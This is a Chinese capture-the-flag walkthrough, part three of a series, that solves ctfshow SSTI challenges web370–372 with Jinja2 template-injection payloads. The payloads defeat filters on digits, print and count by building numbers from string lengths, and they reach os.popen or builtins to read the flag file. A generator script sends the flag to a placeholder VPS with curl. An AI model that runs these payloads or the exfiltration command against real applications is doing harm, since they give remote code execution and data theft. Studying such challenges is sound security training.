ctfshowweb入门 SSTI模板注入专题保姆级教程(三)

web370

这里又对数字进行了过滤,简单一点的话就用全角绕过:

python 复制代码
?name=
{%set e=(config|string|list).pop(279)%} 
{%set a=(config|string|list).pop(191)%} 
{%set c=(lipsum|string|list).pop(18)%} 
{%set kg=(lipsum|string|list).pop(9)%}
{%set qwe=dict(l=0,s=1)|join%}
{%set globals=(c,c,dict(globals=1)|join,c,c)|join %} 
{%set s=dict(o=0,s=1)|join%}  
{%set geti=(c,c,dict(getitem=1)|join,c,c)|join %} 
{%set popen=dict(popen=1)|join%} 
{%set read=dict(read=1)|join%} 
{%set flag=(((dict(tac=1)|join,kg)|join,e)|join,dict(flag=1)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

然后这里有用到的一种新的方法是用count或者length去获得数字【两者等价】就比如:

php 复制代码
{% set a='aaaaaaa'|count %}
{{ a }}
# 这行代码的意思是:创建一个包含7个a的字符串,用|count获取它的长度(7),然后把这个长度值赋给变量a。这样a就代表了数字7。

那么我们就可以进行相应修改:

python 复制代码
?name=
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set thirtyone=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set towsevennine=thirtyone*nine %}
{% set eighteen=dict(aa=a)|join|count*nine%}
{%set e=(config|string|list).pop(towsevennine)%}
{%set c=(lipsum|string|list).pop(eighteen)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{% set flag=(((dict(tac=a)|join,kg)|join,e)|join,dict(flag=a)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

然后这里有个问题我不是很清楚,我用chr来做的话如果不按羽师傅那么写,我直接脚本生成所需要的字符数量然后count一下得到的payload如下:

python 复制代码
?name=
{% set po=dict(po=a,p=a)|join%}
{% set twofour=dict(aaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set fourseven=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set onezerotwo=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set onezeroeight=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set nineseven=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set onezerothree=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{% set a=(()|select|string|list)|attr(po)(twofour)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(p |attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(fourseven)~chr(onezerotwo)~chr(onezeroeight)~chr(nineseven)~chr(onezerothree)%}
{%print(x.open(file).read())%}

但是不知道为什么会报错,问了LLM也没一个解释出来的(浪费我这么多token/(ㄒoㄒ)/~~)

或者反弹shell来做:

python 复制代码
import requests
cmd='__import__("os").popen("curl http://vps-ip:端口号?p=`cat /flag`").read()'
def fun1(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	k=''
	t=list(set(t))
	for i in t:
		k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
	return k
def fun2(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	t=list(set(t))
	k=''
	for i in range(len(s)):
		if i<len(s)-1:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
		else:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
	return k
url ='url/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

fun1解释如下:

python 复制代码
def fun1(s):
    """
    功能:把字符串 s 里的每个字符转成 ASCII 码,生成 Jinja2 模板里定义数字变量的代码
    
    参数:
        s : 要执行的 Python 命令字符串(比如 "__import__('os')...")
    
    返回:
        一段 Jinja2 代码,定义了若干个变量(e, ee, eee, ...),每个变量对应一个 ASCII 码值
    """
    
    t = []  # 先建一个空列表,准备存每个字符的 ASCII 码
    
    # 遍历字符串 s 里的每一个字符
    for i in range(len(s)):
        t.append(ord(s[i]))  # 把当前字符的 ASCII 码添加到列表 t 里
    
    # 现在 t 里是所有字符的 ASCII 码,但可能有重复
    # 例如 "__import__" 里有很多下划线 95,t 里就会有多个 95
    
    k = ''  # 准备一个空字符串 k,用来存最终生成的 Jinja2 代码
    
    t = list(set(t))  # 用 set 去重,得到所有用到的 ASCII 码值(不重复)
    # 例如 t 变成 [95, 105, 109, 112, 111, 114, 40, 41, ...]
    
    # 遍历每个用到的 ASCII 码值
    for i in t:
        # t.index(i) 找出当前码值 i 在 t 里的位置(索引),从 0 开始
        # 加 1 是为了让变量名从 e 开始(不是从 0 开始)
        var_name = 'e' * (t.index(i) + 1)  # 生成变量名,比如第1个是 'e',第2个是 'ee'
        
        # 'e' * i 生成 i 个小写字母 e(比如 i=95 就是 95 个 e)
        # dict(eeee...e=a) 生成一个字典,键是这 i 个 e,值是 'a'
        # |join 取出这个字典的键(就是那 i 个 e 组成的字符串)
        # |count 计算这个字符串的长度,也就是 i 本身
        
        # 整句意思:生成一个数字 i,存在变量 var_name 里
        k += '{% set ' + var_name + '=dict(' + 'e'*i + '=a)|join|count%}\n'
    
    return k  # 返回生成的 Jinja2 代码

fun2如下:

python 复制代码
def fun2(s):
    """
    功能:把字符串 s 转换成 Jinja2 模板里的 chr(变量) 拼接形式
    
    参数:
        s : 要执行的 Python 命令字符串(比如 "__import__('os')...")
    
    返回:
        一段用 %2b(URL编码的 +)连接的 chr(变量) 序列,
        在 Jinja2 里执行后能得到原字符串 s
    """
    
    t = []  # 准备一个空列表,用来存每个字符的 ASCII 码
    
    # 第一步:把字符串 s 的每个字符转成 ASCII 码,存到列表 t
    for i in range(len(s)):
        t.append(ord(s[i]))  # ord('_')=95, ord('i')=105, ...
    
    # 现在 t 里有重复的码(比如多个下划线就有多个 95)
    
    # 第二步:去重,得到所有用到的 ASCII 码值
    t = list(set(t))  # 例如 [95, 105, 109, 112, 111, 114, 40, 41, ...]
    
    k = ''  # 准备一个空字符串,用来存最终生成的 chr 拼接代码
    
    # 第三步:遍历原字符串 s 的每个位置
    for i in range(len(s)):
        current_char = s[i]                    # 当前字符
        ascii_val = ord(current_char)           # 当前字符的 ASCII 码
        pos_in_t = t.index(ascii_val)           # 这个码在去重列表 t 里的位置(0开始)
        var_name = 'e' * (pos_in_t + 1)         # 生成对应的变量名,比如 e, ee, eee
        
        # 判断是不是最后一个字符
        if i < len(s) - 1:
            # 不是最后一个字符,后面要加 %2b(URL编码的 +)
            k += 'chr(' + var_name + ')%2b'
        else:
            # 是最后一个字符,后面不加东西
            k += 'chr(' + var_name + ')'
    
    return k

web371

脑袋要干烧了,过滤了print,这里的话只能盲注或者反弹shell,还是用之前370的脚本跑一下:

web372

过滤了count,那么脚本里面改成length就行,然后图中的也要改成length:

相关推荐
сокол20 小时前
【网安-Web渗透测试-漏洞系列】RCE漏洞
web安全·php
ShoreKiten20 小时前
ctfshowweb入门 SSTI模板注入专题保姆级教程(二)
web安全·flask·ssti·ctfshow
xiejava101820 小时前
网络安全资产画像实战
安全·web安全·网络安全
菩提小狗1 天前
第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·web安全
Chockmans2 天前
春秋云境CVE-2020-19957
web安全·网络安全·春秋云境·cve-2020-19957
ShoreKiten2 天前
ctfshowweb入门 SSTI模板注入专题保姆级教程(一)
web安全·flask·ssti·ctfshow
сокол3 天前
【网安-Web渗透测试-漏洞系列】逻辑漏洞(或越权漏洞)
web安全·php
Ha_To3 天前
2026.2.4 DVWA, Sql-labs,Pikachu靶场搭建
安全·web安全
сокол3 天前
【网安-Web渗透测试-漏洞系列】XXE漏洞
xml·web安全·php